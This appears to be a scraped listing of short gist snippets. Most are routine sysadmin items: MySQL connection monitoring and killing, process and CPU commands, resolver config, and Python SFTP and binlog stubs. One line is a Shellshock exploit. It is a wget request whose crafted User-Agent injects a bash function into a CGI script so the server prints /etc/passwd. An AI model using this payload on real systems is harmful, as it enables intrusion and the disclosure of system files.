This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# To kill sleeping connecions in MySQL # : | |
mysqladmin -u root --password=xxxx proc | grep Sleep | awk '{print $2}' | while read LINE; do mysqladmin -u root --password=xxxxx kill $LINE; done | |
# Every 1 second run this command to see overall Queries/Threads Connected / and running queries at this moment | |
mysqladmin ext -i1 -u root -p12345 | awk '/Queries/{q=$4-qp;qp=$4} | |
/Threads_connected/{tc=$4} | |
/Threads_running/{printf "%5d %5d %5d\n", q, tc, $4}' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
x = [24, 25, 26, 32, 33, 41, 42, 43, 179, 180, 463, 464, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 701, 702, 1332, 1333, 2292, 2293, 2294, 2883, 2884, 3035, 3036, 3037, 3076, 3077, 3208, 3209, 3210, 3519, 3520, 3521, 3839, 3840, 3841, 3842, 3843, 3844, 3997, 3998, 4136, 4137, 4138, 4593, 4594, 4684, 4685, 6442, 6443, 6444, 6445, 6446, 6447, 8110, 8111, 8112, 8113, 8143, 8144, 8272, 8273, 8274, 8578, 8579] | |
t=[] | |
p=True | |
maxPeriod = [] | |
for i in range(0,len(x)-1): | |
# Yoxlayiriq ki, eger reqemlerin ferqi 1-e beraberdirse TRUE qaytarsin. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
domain zyxel.com | |
search zyxel.com | |
nameserver 192.168.1.1 | |
nameserver 8.8.8.8 | |
domain hg232f | |
search hg232f | |
nameserver 192.168.3.1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import paramiko | |
import os | |
import subprocess | |
class SFTPConnection: | |
""" | |
Class for SFTP Connection using Paramiko | |
""" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://192.168.1.88/cgi-bin/fuck.cgi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Shows CPU utilization by processes (the most 20): | |
ps -eo pcpu,pid,user,args | sort -k 1 -r | head -20 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
x=1; while [ $x = 1 ]; do process=`pgrep -u fake`; if [ $process ]; then x=0; fi; done; strace -o /home/fake/strace5.txt -vvtf -s 256 -p $process |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
BUILD MYSQL WITH DEBUG + VALGRIND! | |
Dependencies: | |
yum install ncurses ncurses-devel valgrind valgrind-devel openssl openssl-devel zlib zlib-devel | |
Cmake command: | |
cmake | |
-DCMAKE_INSTALL_PREFIX=/opt/mysql |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
From link -> https://www.percona.com/blog/2015/07/07/mysql-qa-episode-3-how-to-use-the-debugging-tool-gdb/ | |
======================================================================================================================================= | |
1. GDB settings: | |
vim ~/.gdbinit | |
set trace-commands on | |
set pagination off |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import subprocess | |
import shlex | |
import configparser | |
class BinlogToTxt: | |
def __init__(self,conf = 'datadir.conf'): | |
con = configparser.ConfigParser() | |
con.read(conf) |